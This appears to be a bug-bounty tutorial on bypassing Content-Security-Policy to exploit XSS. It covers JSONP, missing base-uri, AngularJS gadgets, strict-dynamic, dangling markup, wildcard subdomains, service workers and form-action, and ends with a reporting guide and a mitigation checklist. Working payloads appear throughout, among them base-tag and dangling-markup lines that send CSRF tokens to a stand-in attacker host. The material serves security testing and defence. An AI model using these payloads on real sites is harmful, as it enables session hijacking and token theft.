Quick answer
CSP (Content-Security-Policy) is the main XSS mitigation in 2026. But a "present" CSP doesn't equal a "secure" one: it may allow JSONP endpoints, lack base-uri, have AngularJS or frameworks with gadgets, trusted domains with file upload, or unsafe-inline in a fallback. When there's XSS but the CSP "blocks it," looking for specific bypasses usually turns a Self-XSS into a full Stored XSS.
Anatomy of a CSP
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.target.tld 'nonce-abc123';
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
connect-src 'self' https://api.target.tld;
frame-ancestors 'none';
base-uri 'self';
form-action 'self';
report-uri /csp-report;
Each directive can have its own bypass.
Bypass 1 — JSONP in script-src
The CSP allows script-src https://googleapis.com. Google APIs has JSONP endpoints that execute arbitrary JS via a callback param:
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)//"></script>
The response is JSON wrapped in the callback:
alert(1)//(...response...)
alert(1) executes. The CSP passes because accounts.google.com (a subdomain of googleapis.com on the whitelist) serves the script.
Classic list of JSONP on common allowlists:
googleapis.com— multiple Google APIs.cdn.jsdelivr.netwith paths to old libs.code.jquery.com(not JSONP but sometimes UI-XSS).- Any third-party API with
?callback=or?jsonp=.
Detection
Look at the CDN domains in script-src. For each one, Google "<domain> JSONP" or <domain> callback param.
Bypass 2 — missing base-uri + nonce
CSP with a nonce:
script-src 'nonce-abc123' 'self';
If you have an XSS that can inject HTML but not scripts (because you don't know the nonce), inject a <base> tag:
<base href="//attacker.tld/">
The browser makes ALL of the document's relative resources resolve against attacker.tld. If the page then loads <script src="/main.js">, it now goes to attacker.tld/main.js — the attacker serves arbitrary JS.
Mitigation: base-uri 'self' or base-uri 'none'.
Bypass 3 — AngularJS gadgets
If the page uses AngularJS and the CSP allows script-src 'self' 'unsafe-eval' or only 'self' and AngularJS is on self:
<div ng-app ng-csp>
<input autofocus ng-focus="$event.composedPath()|orderBy:'(z=alert)(1)'">
</div>
AngularJS evaluates expressions in attributes. If it's on the page and the attacker injects HTML with ng-* directives, it executes JS even with a CSP.
The list of gadgets in AngularJS is well-known (HackTricks has all the expression payloads).
Other frameworks
- Vue.js with unsanitized
v-htmland a CSP that allows the Vue script's domain. - React with
dangerouslySetInnerHTML(rare, but it exists). - Lodash + transitive helpers.
Bypass 4 — strict-dynamic with XSS controlling existing scripts
script-src 'nonce-abc' 'strict-dynamic';
strict-dynamic means "ignore the whitelist, scripts loaded by trusted scripts are OK." Bypass: if the XSS lets you inject HTML that an existing script turns into a <script> dynamically, that script inherits trust:
// Código existente en la app
document.body.innerHTML += userInput; // si userInput contiene <script>, no carga (innerHTML no ejecuta)
// Pero
const scr = document.createElement('script');
scr.src = userInput;
document.body.appendChild(scr); // SI ejecuta, hereda nonce/trust
If you find a gadget that turns input into a dynamic script, bypass.
Bypass 5 — Dangling markup injection
If the CSP blocks scripts but not <img> and there's no style-src 'unsafe-inline':
<img src="//attacker.tld/?leak=
Without closing the tag, the browser tries to load the src and absorbs EVERYTHING that comes after it as part of the URL until it finds > or ". If the next part of the page has a CSRF token or sensitive data, it travels to the request.
<img src="//attacker.tld/?leak=<input name="csrf" value="...">
attacker.tld receives the csrf token via Referer/URL. Partial defacement + token leak without executing JS.
Mitigation: Content-Security-Policy: img-src 'self' or filter <img src> that doesn't end with >.
Bypass 6 — When script-src has a wildcard subdomain
script-src 'self' *.target.tld
If *.target.tld includes domains where the attacker can host content:
- A subdomain with file upload (PDFs, user files).
- A subdomain with the user's own HTML staging (profile pages, blog posts).
- A subdomain with CSV/XML that the browser can interpret as JS if the MIME type is wrong.
- Subdomain takeover.
If one of the subdomains serves user-controlled .js files → bypass.
Bypass 7 — JSON hijacking (legacy)
Frameworks that return JSON without anti-CSRF protection:
[
{"id":1, "secret": "abc"},
{"id":2, "secret": "def"}
]
If the endpoint responds with JSON and the browser interprets it as JS (the victim visits attacker.tld which does <script src="https://target.tld/api/data">), the attacker can capture the values via Object/Array prototype overrides in old browsers.
Mitigated in modern browsers but a vector against apps with legacy browsers.
Bypass 8 — Service Workers
If the XSS gives you control over /sw.js (upload a file or injection in the response), you can register a Service Worker that intercepts the origin's fetches:
self.addEventListener('fetch', e => {
if (e.request.url.includes('/api/')) {
e.respondWith(new Response('attacker controlled response'));
}
});
It persists across page loads. CSP doesn't apply to service workers as such.
Bypass 9 — Form action if form-action is missing
If the CSP doesn't specify form-action, it falls back to default-src or is allowed. Inject:
<form action="//attacker.tld" id="f"><input name="x"></form>
<button form="f">Click me</button>
If the victim types in the input and submits → the data goes to the attacker. Bypass of "no inline scripts" via form interaction.
How to report it
For triage to accept it:
- A working PoC that executes
alert(document.domain)or a measurable leak. - The full CSP proving it's applied.
- The full vector: where does the original XSS you're bypassing come from?
Pure CSP bypasses with no underlying XSS are usually N/A or Informational. You need the chain.
Hunting checklist
- Is there a CSP in the response? Capture the header.
- Does
script-srcallow external domains? Look for JSONP on each one. - Is
base-urideclared? If not, try a dangling base. - Is AngularJS / Vue / Lodash on the page and allowed by the CSP?
strict-dynamicwith XSS that can create scripts dynamically?- Does
img-srcallow any URL? Try a dangling markup leak. - Is
form-actiondeclared? If not, an external form is possible. - Wildcard subdomains that allow upload or XSS staging?
Correct mitigation
- Strict CSP:
default-src 'none'as a base, add only what's necessary. script-src 'nonce-RANDOM' 'strict-dynamic'.base-uri 'none'(a base href is rarely needed).form-action 'self'.frame-ancestors 'none'(kills clickjacking).- No
unsafe-inlineorunsafe-evalexcept well-justified legacy. - report-uri active to detect bypass attempts in production.
- Review whitelisted subdomains — can they host user-controlled content?
Related labs
Practice CSP bypasses with JSONP, dangling markup, AngularJS gadgets and base-uri injection: CSP bypass labs.
Practice this in a lab
Xss
Keep learning · free account
Save your progress, unlock advanced payloads and rank your flags.
Related articles
Stored XSS via SVG with href javascript: in chat — reclassification of Self-XSS
An SVG payload uploaded as an attachment. Filter bypassed. Rendered inline in the main context. Any chat participant is exposed on click.
Stored XSS in template names — from the most boring field to domain takeover
A template title field, unsanitized, in a session with permissions over domains. A real €1,200 bounty. How to find XSS where nobody looks.
DOM XSS — gadgets, postMessage handlers and CVE-2025-59840
DOM XSS isn't just innerHTML. Sources/sinks, gadget chains via toString(), postMessage handlers without origin checks, broken hash-based routing.